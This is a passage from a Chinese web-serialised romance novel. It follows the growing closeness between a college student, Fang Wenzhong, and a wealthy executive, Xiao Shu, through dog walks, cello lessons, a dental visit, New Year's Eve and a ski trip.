“没想好理由。” “对我来说没有成本,”萧疏说,即使三明治是出自他手,而不是早下班的厨师。 “我为什么不去做?”他摊手,重复那个问题。 方闻钟被反将一军,他以为他视而不见或戳破萧疏的故意到场,会让萧疏退让,没想到男人依旧紧紧相逼,方闻钟被叩问着内心,他只是习惯了,习惯了将就,习惯了得过且过,别人,尤其是萧疏,关心他这些上下学、吃饭的生活琐事,让他很不自在。 彷佛又怕,又欲拒还迎。 “有心理负担,”萧疏也注视着前方,声音一直很平静,是方闻钟喜欢听的那种沉淀温和,“那很遗憾,因为我控制欲比较强,或许还有点见不得人委屈自己,所以。” 他转头,看向已经吃完一块三明治的方闻钟,“你大概要有好久时间有心理负担了。” “但是心理负担也会很快消失的,你说对吗?”他将蹭到他腿边的狗子轻轻踢开。 方闻钟还要去吃另一个,被萧疏挡住手腕,“吃不下就别吃了,以后饿了或想先做什么,直接对我说,我不是不通人性。” 方闻钟任由他抓着手腕,好久,“好,”三明治比面包好吃,有人关心也比无人问津好。 两人一狗,返回往家走,方闻钟不是傻子,他能体会到他在萧总这里的被偏爱,但他还是傻子,他仰着头边后退走路,边牵着狗和萧疏笑谈时,不知道他还可能会习惯,习惯问:萧疏为什么对他这么好? 方闻钟后退走路绊了一下,萧疏让他好好走,年纪轻轻眼神就不好。 方闻钟受激,年纪轻轻?他忽然在一旁的健身器材上拉了好几个单杠,眉眼里暗含挑衅,年纪怎么了?他还没嘲笑他老呢。 萧疏笑着捏拳,“我认输。” “别啊,”方闻钟来劲了,他在昏暗的灯光里,一上一下,连续做了十多个,“你可以做一半吗?” 方闻钟显摆完真诚发问。 萧疏的眼神里,三分宠溺,七分想要把人现场剥了教训。 两人正暗自较劲时,大狗跳起来往方闻钟裤子上一扯! 方闻钟穿的是系绳运动裤!没腰带,这一下差点把他裤子脱下来,方闻钟大叫着一下松手,又怕掉下来踩到狗,闭眼已经准备抓着裤子摔倒了。 没想到在屁股和地面亲近接触的前一刹,萧疏将人牢牢接住,整个上半身落在他怀抱里。 方闻钟当场宕机,狗也是,迅速跑开。 萧疏的手掌,紧密地贴在方闻钟裤子拉下去的腰窝上,然后萧疏将他扶起来,手臂已经收回来,“刚不是很能耐吗?怎么摔下来了?” 方闻钟站直,脸又羞又红,他把裤子系好,放衣服时装作若无其事的样子在萧疏碰过的腰间自己摸了一把。 他看着前方的背影,语无伦次,“明明是它捣乱啊它为什么不咬你……” “哈哈哈哈哈,”萧疏突然笑了,往前大跨了几步。 方闻钟顿时追上去,要不是萧疏回头,他能跳上他肩膀- 洗漱完已经快十一点了,萧疏看着毛茸茸擦头发的男生道:“客房睡衣和洗漱用品都有,是新的,你可以用那个,不用从学校带来再带去。” “嗯嗯,”方闻钟也看到了,再次感谢萧疏为他提供的方便。 “早点睡吧,”方闻钟第一次留宿这么豪华的别墅,洗漱完别扭和不安还在,没想到萧疏直接将他留在客房,没有多打扰他,或许男人还有事,方闻钟躺在被子里玩手机,这样想。 辅导员找他说了很多有的没的,方闻钟看到就回,后面感觉很无聊,他很快睡着了。 第二天闹铃一响,方闻钟倏地抬头,在嗡嗡的闹铃中,他忽然反应过来,他昨晚住在这里,离老校区只有十分钟路程,不用起那么早了。 复躺回去,可人已经醒来了,他看着陌生的天花板,再也培养不出睡意。 方闻钟洗漱好,小心翼翼打开客房门,一直走到大厅都没人。 他愣愣的,狗子已经醒了,跑他腿边又卧倒。 方闻钟一时不知该干什么,他在沙发上安静地坐着。 一个多小时后,萧疏起床,敲敲方闻钟的门,叫他醒来。 没叫到人,萧疏下来,看到在沙发上当蘑菇的方闻钟,两人一起愣住,“走,送你去学校。” 方闻钟看到萧疏已经拎起他书包,啊了一下,小跑着跟上。 这次没有司机,只有萧总,他单手倒出车,对方闻钟说:“早上去学校吃,家里厨师只做午餐晚餐,上完课直接来公司,知道了吗?” 方闻钟好久没回应,他终于皱眉看他。 “哦,”方闻钟乖巧道,抱好自己的书包,临下车时,他喜笑颜开,从车上跳下去,“萧叔叔,再见!” 皮了一下。 第138章 宠爱 今天晚上司机接方闻钟回家时他兴致不高,男生抱著书包上楼,楼梯上路过萧疏,萧疏叫他吃饭,他蔫蔫的,“吃过了。” 七点多陪狗子出去玩了一圈,回来洗完澡,方闻钟继续趴在书桌前发呆,他眼前还摆著明天要交的大作业,有一下没一下地戳着键盘。 一个多小时后,萧疏进来看了一眼他,方闻钟立马坐好,他在萧疏的视线里非常主动地交代,“我没事啊。” 萧疏二话不说,合上门。 十点多,萧疏端着一杯牛奶进来,直接放方闻钟桌子上,他显然在过去几个小时,一直在这里窝着,萧疏没走,直接抱臂立在他椅子旁,方闻钟感受着旁边不可忽视的身影和视线,越发安静。 倒是把牛奶端起来喝了。 本以为,喝完萧疏会走,没想到他在他房间里继续找了个沙发坐下,翻看着手机。 方闻钟回头看他,男人抬眉,“你做你的。” 方闻钟轻轻拧这眉,萧疏已经如老僧入定了般,方闻钟转回来后又偷偷转回去看他,这还叫他怎么做自己的吗? 他嘟着嘴,有些不高兴。 萧疏看了眼手表,“方闻钟,”他在那边叫他,“十一点,还有最后六分钟,我等到十一点如果你还没什么想说的,就不要在这里耗着自己,直接睡觉。” 方闻钟:“……” 原来他是看出了自己的不正常,还担心他才在这里等他主动倾诉啊。 方闻钟心里热热的,在萧疏说完没几秒,他忽然从椅子上下来走到他身边的沙发上坐下。 “今天有人给我表白了,”上来直接爆雷。 萧疏拿手机的手,轻微抖了一下,眼神瞬间淩厉。 看向方闻钟时,已经一片深邃包容,似乎接下来方闻钟说什么他都能稳得住。 “我们辅导员,他已经大四了,”方闻钟把腿收起来盘坐在沙发上。 “男的?”萧疏的声音又轻又冷,他忽然翘着二郎腿,唇边溢出一声冷嗤,惊了方闻钟一下。 空气安静几秒。 方闻钟低头,耳朵红了,“嗯,他说他喜欢我,但我不用回应他他只是想对我好追求我。” 辅导员一直以来是挺照顾方闻钟的,之前还帮了他忙。 萧疏拿起旁边的一本杂志,潦草翻开,明明很淡定却像迫不及待告诉他事情的真谛和利益牵扯,“一般说不要求你的通常求的更多。” “我知道,”萧疏没想到方闻钟会这样回答他。 方闻钟也把身体凑过来,看向萧疏手里的杂志,“而且我知道他不是真喜欢我,所以我问他接近我到底要我做什么?” “我能帮的我也愿意帮他,因为他之前对我好过,不能帮的我也无能为力。”他平静道。 萧疏惊讶良久,“你真这么跟他说了?” 方闻钟:“嗯。” “他什么反应?” “他脸红了,”方闻钟继续面无表情道:“然后很羞愧地最后对我说他的目的……他想要通过我的管道,进渊枢资本。” “他以为我能帮他直接在你这里开绿灯。” 萧疏扔下杂志,悠闲地往后靠过去,他的表情,已经说明了他对方闻钟处事的赞扬,“那你在忧虑什么?不知道怎么跟我开口?” “不是,”方闻钟有些急切,“我没有想过跟你开这个口。” 萧疏的手肘撑在靠背上,他的手指轻轻向下点着,如果方闻钟能仰头,就会看到男人整个把他包围在怀里的亲密,“那你是想不通,怎么会有人利用喜欢来达到目的?” 方闻钟疑惑,“为什么不呢,不是有好多人这样利用感情吗?” 小小年纪,没经过事,倒是悲观的很。 “我想不通,他为什么觉得我可以直接帮他进渊枢?”我有那么大能力吗,方闻钟是真这样不解的。 “行了,让他把简历投进来,如果能说得过去我会给他一个机会,如果最基础的都不达标,”萧疏冷眼如刀,“那你就告诉他,他不行。” 萧疏这是同意走后门吗?方闻钟震惊,萧疏转头认真对他说:“你可以,你有能力让他的简历直接放到我的面前,呵,他倒是会投机。” 忽略萧疏对学长的嘲弄,方闻钟继续追在萧疏后面。 萧疏走到门口,安抚他,“对我来说,都是很好解决的问题,所以你不用忧愁,以后直接说事。” 方闻钟有些崇拜,又有些想粘着他,“萧疏,”他忽然叫出他的名字。 “你不用一次一次为我破例。” 男人定在原地,然后挑起一个玩世不恭的笑,“这算什么。” 后来,他又恢复沉稳,“方闻钟,去睡觉吧。” 原来真有人,在他那里,他的睡眠比很多很多事重要……方闻钟很久以后才明白这个道理。 辅导员的事就这样解决了,他超感激方闻钟,想方设法要回报或继续和他搞好关系,但方闻钟反应很冷淡,“这跟我没关系。” 又一次碰到,辅导员说什么也要把这声谢谢说出去,超市结完账,他把一包大大的奶糖扔方闻钟怀里,高大的汉子羞红了脸,“对不起,这个给你吧,味道还行。”然后他就跑了。 方闻钟抱着大包奶糖,傻愣在原地,后来他又将奶糖带回宿舍,有空或偶尔看到了,一天吃一两个。 真的好甜。 然后方闻钟就悲剧了,他半夜牙疼得睡不着觉,第二天去校医院看,医生推荐他去本部医院做个小手术。 需要麻醉,医生推荐他最好有亲属陪同,方闻钟捂着脸走出去想找一个关系好点的室友,却不小心接到了萧疏司机的电话,“喂,”他接通电话,说话含糊。 “今天下午我不去公司了,我在医院做牙齿。” 那边热情地说‘那我来医院接你?’,方闻钟一想也行,司机也算陪同人员嘛,到时候麻烦他一下好了。 他不安地坐在椅子上,轮到他了,萧疏在他身后走来,扶在他肩膀上。 方闻钟愣了,站起来,“怎么是你?”他半边脸肿着,萧疏看着可怜,没多说什么,“进去吧。” 医生问最近是不是糖吃太多了,方闻钟张着嘴眼泪汪汪,“我不喜欢吃糖。” 他还不老实,说一惯已经说习惯了的谎话。 “噗,”医生笑了,“家里人要好好监督,”他看向萧疏,打麻醉,方闻钟在嗡嗡的电动声中,还有时间走神,萧总竟然来了。 出医院,司机果然在楼下等着,方闻钟猜测萧总是顺便跟司机过来的,他用冰袋贴在脸上,萧疏问他,“吃糖了?” 方闻钟终于改口了,“嗯,最近吃了点奶糖。” “点。” “很多。” “怎么突然买糖吃?” “别人送的。” “谁?” 方闻钟不说话,他和萧疏相视,萧疏沉默,挑眉,“你学长?” “……”,怎么办,更不能理直气壮了。 他低下头,以为会挨萧疏的批评,没想到萧疏说:“以后吃糖控制频率,吃添加剂和甜味少一点的。” 彼时,方闻钟没把这话放在心里,脸肿着肿着,牙齿好了。 时间已过半月。 方闻钟忽然在公司,还有他在萧疏家里睡的客房,偶尔发现几个包装纸很朴素的糖果,诱惑久了,方闻钟偷偷打开一个,尝了尝。 不一样的香味和清甜,牙齿凉凉的,又不刺激,真得很好吃! 其实是小时候想吃糖吃不到,还被别的小孩嘲笑,他们把他堵在一个角落,拿糖在他眼前晃悠馋他,‘这是我爸爸买的,可惜你没爸爸,吃不到……’,“这糖一颗就一块钱呢你吃得起吗?”,“你不跟我妈告状我就舔一舔再给你……”。 方闻钟倔强地哭,然后大吼,‘我才不吃糖!’,后来他用牙齿坏了堵塞了糖果这个诱惑。 说着说着他习惯了,可本身就爱吃吗。 现在的他吃得起,没想到放肆吃过一次就遭了大罪……方闻钟把包装纸折好,终于长记性,对糖视而不见。 某次,萧疏对他说:“那个糖一天最多只能吃一个,吃得久也不会再让你坏牙齿,放心吃。” 方闻钟忽的明白,糖不是突然出现的,是萧疏给他的惊喜。 他懂他的喜爱与控制,或者说不懂,只是尊重,并提供给他更好的选择…… 糖纸是查不到的,糖是萧疏专门为方闻钟定做的,现在的方闻钟,远没有这个概念。 他含着一颗糖,脸颊鼓鼓的,“萧总,你要来一颗吗?” “啊!”他突然住口。 “怎么了?”萧疏走过去,方闻钟已经掉小珍珠,他哭着张嘴,里面有点血丝,乐极生悲,他刚咬到舌头了。 在萧疏面前,好像突然很多情绪不用隐藏。 萧疏捏着他的下巴,玉手使劲,“你是小孩子吗?这么蠢?还掉眼泪?” 萧疏严词厉色,可方闻钟却不怕他,他仰着脖子,“疼,”把糖吐了嘴巴冲干净,方闻钟手里还拿着一颗糖果。 他左看右看,靠近萧疏,半趴着看他。 “萧叔叔,来一颗?”他作势要喂他。 第139章 Thingsyousaid. 临近元旦迎新汇演,方闻钟已经很久没来别墅了,他打电话跟萧疏道歉,没办法帮他遛狗了。 因为他要参加一个演出。 最近一直在排练。 一开始,方闻钟没想过他还有上台的可能,后来班里同学尤其是女生,强烈要求他一定要去!还用他的颜值道德绑架他!长这么好看不上台,他们专业要亏好多,最后方闻钟同意参与她们的乐器合奏。 “我什么都不会,大提琴只会一点点,”方闻钟举手先打招呼。 “没关系,”文艺部的一个妹子把自己的大提琴拿给他,“你先试试,”方闻钟通过了基础测试,“多练练就好了呀。” 方闻钟继续不好意思,“我没有自己的琴。” 那女生特别直爽,“你用我的,正好我这把也旧了,我拉小提琴。” 每天空余时间,都用来和班里同学练习排练,他的确很不熟悉,一首经典曲目,也要磕磕绊绊才能拉完整。 确切说,方闻钟没系统学过大提琴,因为小时候父亲拉过,他记忆尤深,高中时有一个学习成绩不好的艺术生,他帮他补课,条件是对方教他大提琴。 方闻钟就这样偷师了大半年,对方教得不是很仔细,但方闻钟勉强入门。 当萧疏发给他一截狗子在家乱窜拆家的视频时,方闻钟抿嘴,他知道萧疏在叫他过去。 很快,萧疏又发来一张他在办公的图片,狗子残忍地将他一摞文档咬成了碎片。 …… 方闻钟跟她们请假,“今晚我有事,不能排练了。” “哦,可以啊,”方闻钟紧接着说但他私下也会自己练,女生们更高兴了,还安慰他不用太紧张,方闻钟抱着大提琴,自己坐上去老校区的车,尽管明早还要赶来新校区上课,方闻钟一路沉默地看着窗外,心情越来越明朗。 到学校,再步行过去,恰好遇到遛完狗回来的萧疏。 方闻钟定住脚步,他好像,来迟了。 萧疏并不这样认为,他自然地从他手边接过东西,把狗绳递他手里,男人在前面走着,方闻钟跟上,很快,萧疏笑着回头,“方闻钟,你怎么这么心软。” 他一叫,他就来了。 方闻钟被说得尴尬,但狗子开心地围着他转,他也忽而开心起来,于是不在意萧疏的调侃,还反问过去,“它都那样欺负你了,你不揍它吗?”他示意干坏事的大狗。 萧疏摩挲着手指,“我从不揍人,除非他太不乖。” 方闻钟:啊?说什么啊,他在说狗啊?…… 狗狗遛完了,方闻钟貌似没事可做,知道他明早还要回去上课时,萧疏愣了一下,随即道:“那我早上送你。” “好,”方闻钟目测着合适的椅子,“那我可以在这里练琴吗?”他已经坐好,抬头看萧疏,“我拉得不好,会不会扰民?” 萧疏抬手,“试试。” 方闻钟调整了一下腿间的大提琴,舒缓地拉动琴弦。 萧疏当一个安静的听众,没有打扰,哪怕方闻钟出错,也看着他自己改变,直至曲终。 “怎么样?”方闻钟很期待萧疏的评价,虽然他自己知道几斤几两,萧疏走过去,看看面板,再敲了敲琴的声音,“这把琴受潮了,”他先是评价方闻钟手里的乐器本身。 方闻钟很爱惜它,“是同学借我的。” “等等,”萧疏对他说:“家里也有,”然后取出一把方闻钟一看就精致高档的大提琴。 琴身通体琥珀色颜色浓郁色泽光亮,萧疏将方闻钟手里的琴换过,方闻钟低头看着这把新的触感和纹理,心生敬畏,他知道萧总的东西肯定不便宜,但就这样给他一个初学者都不算的人用真的好吗? 萧疏抬起他的手腕,然后一根一根调整他的手指,“握弓太紧了,”方闻钟起初一僵,后来任由萧疏各种摸他的手。 一个或许在认真教,一个真在认真学,方闻钟微低着头,左手被萧疏调整准确按弦,右手被带动着整只胳膊来回运弓。 教了一会儿方闻钟忽然看到,萧疏蹲在他前面,看他拉琴,方闻钟专注太久的手心出了很多薄汗,“嗯?”萧疏抬眸,怎么不继续了? 方闻钟慌乱地眨了几下眼睛,萧疏起身,后退。 他独自留给方闻钟一些时间,再进来时,方闻钟已经结束了他练习的曲目,正试探着拉一首别的。 Things you said,前奏一响,萧疏就听出来了。 方闻钟看着男人,开口,“这是我父亲最开始常拉的,但他没有教过我,”这是方闻钟第一次在萧疏面前提前那个人,方闻钟还专注地看着琴,这首曲子对他来说难度更大,表现更差。 方闻钟忽然很丧气,记忆里父亲拉得好像也不好,但这首曲子对他影响很大。 小时候听它,只觉泡在夏日的池塘里,阳光透过粼粼的水面照在他脸上,是轻松是愉快,在父亲去世后偶尔再听,却是沉郁、阴霾,宛若生命最后一声声忧伤的呼吸。 他突然很怕听它,今天不知怎么,就想起了这个,还在萧疏面前班门弄斧。 萧疏对方闻钟口中的父亲,只字不提,不问。他忽然说:“要听一遍我为你演奏的吗?” 方闻钟很快笑脸走开了,换萧疏坐回去,他调整了一下椅子高度。 男人起手,柔和圆润的音律从他琴中流淌而出,方闻钟渐渐看呆了。 萧疏很熟悉,这首曲子,在他那里好像有不一样的表达,正如他这个人。 肃肃凉风生,加我林壑清……日落山水静,为君起松声。 曲终人未醒,方闻钟看着萧疏的身影,他好像在强大的气势后又自带魅力的光晕。 心里那些思念难过都解开了,方闻钟转而有一种迫不及待的想法,“你能教我这个吗?”他蹲在他腿边。 萧疏差点忍不住,摸摸他的头发,“嗯,”他一字千金。 方闻钟看着萧疏的手指,萧疏在给他讲,后来,萧疏直接让他坐在他前面,他从后面揽着他。 运弓速度,手指压力,这些都要亲自尝试才能清楚,萧疏对安静坐在自己怀里的人放松又克制,第一小节谱子方闻钟记得,今天也只练这一段,当终于达到他预想中的效果时,激动地抬头跟萧疏说。 咚。 他撞到了他下巴。 萧疏嘶的一下捂住脸,呃,方闻钟吓得要赶紧起身看他,被萧疏按住肩膀按回去。 舔了舔牙齿,“没事。”他对他说。 方闻钟激动、羞恼的情绪还没散过去,这会儿脸红红的,那个已经观察了他们很久的狗子又来捣乱了,之前每次过去,都被萧疏轻轻踢开。 这次两人都没注意,它一下跳起扑方闻钟背上。 萧疏只来得及赶紧挪开琴,大手却一揽,方闻钟懵逼地被狗子直接扑倒萧疏怀里。 他们这个姿势,方闻钟本来就被萧疏虚虚地半抱着,这下抱实了,萧疏还得撑着后面不叫两人一起坐地上。 方闻钟恼羞成怒,从萧疏怀里钻出来作势就要去打恩将仇报的大狗,大狗忽地跑开了,方闻钟却没站起来。 因为他被萧疏又拉回去,萧疏脸上是从未有过的开怀笑容。 他拉回他,半抱着他,抬手重重地按在他头上使劲把他头发揉乱。 终于如愿了。 萧疏要坐起身,方闻钟却不依,他“啊”的一声更加像刚才的狗狗重新扑倒萧疏背上。 “你干吗啊!”他又气又急。 “这是收你教琴的报酬。” “我不要,而且你都是自愿教我的。” 萧疏在前面走着,忽然被架子挡了一下差点摔了,他立马扶住椅子。 惹来方闻钟突然哈哈大笑,报仇了!别墅里,刚才的愁丝一切好像都是错觉,这一刻欢笑与闹才是真实。 第140章 动心而不自知 抱着萧疏的那把琴,方闻钟顺利完成了晚会表演,节目得来很多人喜爱,同学们也都高兴地要发圈炫耀,或者发给自己的朋友、亲人…… 有女生帮方闻钟拍了一张超好看的照片,眼里全是欣赏,“我发给你啊,你也可以分享给别人啊,”啊啊啊真的好帅啊!她怒喊一万遍,最后临分别时,感叹方闻钟的琴,“你这把琴得上七位数了吧……”女生好羡慕。 方闻钟听后一顿,越发小心翼翼,他说:“我也不清楚,是别人借的。” 那他也真舍得……她的声音消散在空气中。 零点的烟花准时升空,方闻钟在璀璨下犹豫着将那张照片手一抖,直接发给萧疏。 过了撤回时间,他再一看,有些不满意,忘了勾选原图啊。 考虑再发一遍会不会太刻意,方闻钟点着手机,忽然接通了萧疏的视频,萧疏一看到照片,欣赏片刻给他打过来。 “今晚很漂亮,”他用这个词形容方闻钟。 方闻钟并不觉得那是萧疏对他的亵渎,相反,他听着他的夸奖只觉得耳热心跳,男生待在原地,脚下踢着草,“琴我考完试还给你。” 马上要期末考试,他最近不去萧疏那边了,价值七位数的东西还在自己手里,他应该告诉萧疏一声。 “嗯,”萧疏望着他,心里想送给你也可以。 方闻钟安静地看了萧疏片刻,“你还在公司吗?都这么晚了。”他自然地关心他。 萧疏还未说话时,“萧叔叔,赶紧回家吧,”男生糯糯地撒了个娇。 他立马挂断电话。 萧疏笑着,拿起西装起身- 一家萧疏朋友常聚会的高档俱乐部,萧疏不在场。 朋友们难免讨论这个很久不出席的人。 “萧总最近身边有人?怎么不见他出来玩儿了。” “又包养了哪个?这次我们认识吗?” “嘁,他的口味你就别猜了……” 原总在这里有些格格不入,因为他知道,他们萧总最近缠着一个小男生,恨不得把他宠到天上地下呢。 “萧总啊,”他们带来的男伴女伴期待,“那跟着他肯定很享福咯~” 一个稍微年轻一点的成功男人觑他们,“那要看你们求财还是求人了。” 怎么说? 他抛出自己的见解,求财,跟在萧疏身边等价交换,绝对丰收,求人,呵,那就是一个铺满了冰的火坑,多少人飞蛾扑火,最后半条命都搭进去,不值当。 是啊,朋友们人人清楚,萧疏身边就是一个巨大的陷阱,他对谁好,不一定是真的一直好……原总想,可是那个叫方闻钟的小男生,似乎已经一头热扎进去了。 联想到最近他们在公司实习的状态,方闻钟比最开始,亲近萧疏好多。 他在那个男人面前卸下一切伪装,袒露出最脆弱的腹部,可萧疏会对他做什么? 想一些有的没的,他喝着酒,时间匆匆而过,考完试,放寒假,同学们都纷纷离校…… 方闻钟还留在学校,除了不用上课,他一如既往地自己去图书馆学习,白天晚上的打工挣钱,和往常一样的频率,去渊枢资本,再在萧疏家里住下来。 那间房里慢慢添置了他的厚衣服,棉拖鞋。 除了狗子的零食玩具,甚至他都有一辆自己玩的电动车……可以开车带狗子跑路。 方闻钟收到那个不算礼物的礼物时,又羞又气,差点骂萧疏,真把他当小孩子啊!但是坐上电动车,拉风地带狗跑出别墅,方闻钟笑得露出牙龈,早忘了对这辆车的嫌弃。 方闻钟很不喜欢的一个节日还是到了。 一年农历最后一天,外面街上早张灯结彩,连没几个人留住的校园里都挂上了装饰,可方闻钟看着这红色只觉更衬得人孤单了。 早几天,萧疏去国外,或许是陪家人在国外过年,还是单纯出差?方闻钟当时没问,方闻钟也一直一个人住在学校宿舍,没去那边。 狗狗应该也托付给了其他人,他这样想着。 从图书馆出来,他漫无目的地忽然走到校外,也不知道到哪里去,方闻钟站在街上发呆,人烟稀少,路过的一两辆车也跑得飞快,他旁边有一处大大的灯牌,上面写着祝贺节日的话,方闻钟压根没仔细看。 他站在灯牌下,鼻尖能闻到幽幽的又似错觉的腊梅香。 男生目光滞涩,他终于平静地考虑一个问题:他是不是,不该继续在萧疏的别墅里住下去了。 不该再去渊枢资本实习? 不该再接近萧疏? 打着父亲的旗号,无论他最后有没有如愿,从萧疏那里得到父亲的消息,方闻钟猛然察觉,他离萧疏太近了,一种超越朋友、长辈的近。 方闻钟很迷茫,眼里涌上热泪,这个问题本身让他足够难过。 探索到最本质,他凭什么在萧疏身边为所欲为?就凭萧疏许可吗? 他低下头。 一束悠长的灯光从远处打来,照亮了方闻钟脚下的路。 灯光下,他旁边是新年快乐的灯牌,它们硕大地闪耀着幸福,右边还有一树树正盛开的腊梅,粉红、雪白,一切都在那道人影身上失了色。 萧疏在车上打电话,红灯时,司机停车,远光灯照亮远处意外走神的人,萧疏敲了敲司机,示意他。 嘀嘀。 方闻钟被提醒,抬头,那道光不是意外打在他脚下的,而是一直在那里,闪得他眼睛有些痛。 方闻钟挡住胳膊,忽的,他放下来。 眼睛睁大,不敢相信。 安静的空荡荡的街道,那处停在原地的车,是来接他归家的人吗? 他紧紧攥著书包带,忽然,拔腿狂奔而去。 刚才的思考全部抛之脑后,就当是人无聊时伤春悲秋,而现在,他没有时间无聊了! 腊梅香他的确闻到了,跑到车边时,那道幽冷的香气,似乎更甚。 原来是下车的人。 萧疏还手持电话,他低声对那边说着什么,看到方闻钟跑过来,司机先靠边停车,他走下去,拍拍方闻钟的肩,又回答电话。 方闻钟的心咚咚狂跳,他压制着激烈,目不转睛地盯着萧疏。 他好香,他仰望着他俊美的脸,方闻钟想抱他。 没有理由。 “愣什么神,”萧疏挂断电话,正要装起手机,方闻钟紧紧抱住他的腰,然后手臂攀向他的背,以一个极其不自然的紧实的拥抱迎接他。 萧疏刚回国,疲惫彷佛一扫而空,他竟然也顺势抱住方闻钟。 拢着他,轻轻拍他脑袋,“慢慢跑,我就在这里,怕什么。” 方闻钟默默流泪,他不想让人知道他在哭,萧疏抱住他的刹那,方闻钟竟恍惚所觉,他长久以来期待的,梦想的可能就是这一刻。 幸福具象化,他终于体会到了。 “新年快乐,”他仰头。 在那些激荡的情绪中,在那些迫切拥抱中,是他的感情萌芽、破土而出! 而在那些克制的哭和祝福中,又是他潜藏的心动而不自知。 他微笑,只当做太想念他。 接下来,贴近,笑容,彷佛怎么都不够,方闻钟今晚像身上安了刺,坐在座位上频频靠近萧疏跟他说话。 萧疏察觉到了他的异常,甚至,在他望过来的眼神中,他注意到了爱慕、喜欢。 他不是他的长辈的那种喜欢。 萧疏迟疑地将手落在方闻钟肩上,终于同样微笑回他,“刚回国就来接你了?今晚不来接你你要去哪里?” “不知道,可能回宿舍吧。” “这么乏善可陈?” “嗯,你不在。” 萧疏拍肩的手一顿,“狗狗我朋友接回去了。” 方闻钟僵在原地,萧疏让他放松身体,这下,方闻钟整个人躺在萧疏怀里,头枕着他的肩。 “学累了就休息一下,我带你去一个地方。” “去哪里,”他看着咫尺间的男人,吐息。 萧疏微微侧头,“最近遛狗辛苦你了,带你去放松一下,玩一圈好不好?” “去哪里?”他还有这么多问题。 萧疏捂住他眼,让人直接在他腿上睡觉,对司机说:“去机场。”【你现在阅读的是 】 140-150 第141章 起反应 跨越几千公里的距离,转日间,他们就在异国他乡的山林雪道上。朝阳升起,一个十八岁男生心里的冲动,让他没有心思去分析,方闻钟为什么会跟萧疏独自出来?说走就走。 “会吗?”萧疏已经换好了滑雪服,男人如同一头淩冽的黑豹,问他。 “不会,但我可以学,”方闻钟也兴致勃勃地带好头盔。 以为会是萧疏亲自教他,没想到萧疏请了个蓝眼睛的高个教练,教练热情跟萧疏(老友)打招呼,知道要教方闻钟时,叽里咕噜愉快地想跟他推荐单板。 “这样更酷,更简单,”他用真诚的眼神想掩饰自己的忽悠,可方闻钟不为所动,他盯了盯萧疏,“我想学那个,”萧疏滑的是双板。 好吧,好吧,教练教方闻钟穿好雪服和鞋,方闻钟站在上面歪歪扭扭站不稳,他下意识去扶住学员的腰。 没想到刹那,萧疏已经上手,将方闻钟安安稳稳装在一套浅蓝色的雪服里,甚至脱下自己已经穿好的鞋,过去帮方闻钟调整脚腕姿势,给他绑好鞋带。 “紧吗?”萧疏抬头问方闻钟。 方闻钟动了动,“刚合适。” 他们旁若无人,看呆了一旁的教练,蓝眼睛教练忽然哈哈大笑,“萧,他好像你的儿子啊!” 听懂了的一瞬间,方闻钟立马转过头憋笑,咳,他差点笑咳出来,而萧疏,脸绿了。 他站起来眼神骂得很脏,方闻钟憋笑憋够了转回来,萧疏恰好直起身体,头微微在他面前垂着,方闻钟用戴着炫酷头盔的脑袋,轻轻在萧疏额头磕了一下。 “好啦,别生气了,我不是your son……” 萧疏头往后仰,看着方闻钟笑了一下,拍了拍他头盔,然后帮他把护目镜拉下来。 眼睛看不清了,萧疏弯腰,鼻尖离人很近,“方闻钟,要我教吗?还是要他教。” 方闻钟心头滑过急切又浓烈的一系列动荡,萧疏教的话他还请教练干吗?教练是不是教得更好?跟萧疏学难免两人碰来碰去,方闻钟瞬间开口,“要教练。” “可以,”萧疏点着头站起来,“那我去那边了,”他指着高级道,“等你学会了来找我?” “嗯,”方闻钟大言不惭,答应下来!此时他还不知道要学会到滑那个雪道的程度,得有多难。 萧疏的身影随缆车一起变小,消失,同消失的好像还有方闻钟一部分心跳,可很快,他就荡漾起来了。 因为滑雪是件很刺激很恐怖又很好玩的事。 当方闻钟表达了自己的最终目标,还扬言自己不怕摔,教练赞扬了这个勇敢的大男孩,于是教他怎么快速上路,快速摔跤,又快速站起来重来一遍! 幸好教练讲解的每一个姿势标准和技巧,方闻钟都牢牢记在心里,这样,他哪怕吃了不少罪,但频繁地调整着自己的动作,竟真让他短时间能顺利从初级道滑下来了。 除了最后有点不稳。 方闻钟在雪服里激烈地喘着气,他抬起护目镜,露出红润的鼻头,额间出了汗,方闻钟擦了一把,就在这时,他看到了从遥远的地方俯冲而下的一个黑影。 他真的好帅!方闻钟看得愣在原地,直到被教练再叫上去。 “你和萧什么关系?” “你想滑中级道吗?哦亲爱的,你应该再在这里练习一下。” “不用管萧,他很会玩。” 一个小时,方闻钟已经一点不摔地急速转弯、调整角度,顺利到达终点,在教练一声声夸赞中,他被同意上中级道。 方闻钟站在起点上,萧疏已经能看到他了,男孩露出的半张脸白里透红,阳光撒在他明媚的脸上,浮光跃金,在他面前是一望无际,空旷而洁白的雪道。 本来在高级道好好滑的萧疏,突然像不受控一样,以极高的速度直冲中级道这边而来,眼看有一张网要拦住他,他竟借助一块凸起的雪道,又快又猛地高高跃起,身姿灵活一转,直接从网上方跳过来了,落地时,方闻钟的心好像也跟着重重落下去。 萧疏并未减速,直接弯道滑近方闻钟身边时,在教练嘀咕‘萧这样做太冒险了’,萧疏几乎平行于地面,一只手撑在地上一百八十度大转弯,轻巧地停在方闻钟下面几米远。 就在刚刚,方闻钟以为萧疏要摔倒了,所有动作在他看来都那么失控、可怕,在那陡峭的雪道上,男人硬是潇洒利落地飞至他眼前。 雪雾折射出万千光点,在那些晶莹剔透落下的瞬间,萧疏抬起头,撩起护目镜。 他眯起眼,眼光细碎彷佛跳跃着整个冬日最温柔的光。 方闻钟是这么以为的,他忽然在没经过教练的同意下,直接双手一用力,踩着雪板俯冲朝萧疏落下。 速度比那边快很多,方闻钟没有减速,没有调整方向,以至于他稍微有点不熟练,朝左边滑过去了,再往那边滑要撞上去! 本来还在等待他的萧疏,忽然又急又费力,在上坡道使劲踩着雪板朝他而去。 男人刚才有多帅多优雅,这一刻向上爬时就有多狼狈! 他变了脸色,大手在雪道上在重重一撑,飞快送着自己的身体想接住方闻钟。 砰! 他拦腰抱住他了,在方闻钟快撞上防护的前一秒。 随之而来的,是方闻钟和萧疏摔在一起,紧紧抱着在雪道上滚了无数圈,直至方闻钟的板子被危险地卸下来。 抱着人,萧疏没办法很好的控制,且那一瞬间抱住他腰的姿势,让萧疏只能用后背摔在雪地上,带着方闻钟一起泄力。 终于,他们一起停下来了,萧疏猛然扬起头盔。 “方闻钟。” 方闻钟也摘掉头盔,他人还老老实实在萧疏怀里爬着。 浅蓝色扑在黑色身影身上。 